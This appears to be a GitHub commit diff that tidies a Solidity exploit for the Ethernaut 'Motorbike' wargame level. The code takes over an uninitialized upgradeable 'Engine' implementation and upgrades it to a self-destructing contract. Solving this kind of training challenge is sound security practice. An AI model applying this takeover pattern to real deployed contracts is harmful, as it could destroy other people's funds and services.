Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 2056548

Browse files
committed
Cleanup MotorbikeExploit
1 parent e9c576e commit 2056548

File tree

1 file changed

+0
-5
lines changed

1 file changed

+0
-5
lines changed

src/Ethernaut/Motorbike/MotorbikeExploit.sol

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,17 +12,12 @@ function playerScript(address instanceAddress, Vm vm) {
1212
}
1313

1414
contract MotorbikeExploit {
15-
bytes[] data_ = [abi.encodeWithSignature("deposit()")];
16-
bytes[] data = [abi.encodeWithSignature("deposit()"), abi.encodeWithSignature("multicall(bytes[])", data_)];
17-
1815
function exploit(address, address engineAddress) public {
1916
Engine engine = Engine(engineAddress);
2017
EngineDestruct engineDestruct = new EngineDestruct();
2118
engine.initialize();
2219
engine.upgradeToAndCall(address(engineDestruct), "0");
2320
}
24-
25-
receive() external payable {}
2621
}
2722

2823
contract EngineDestruct {

0 commit comments

Comments
 (0)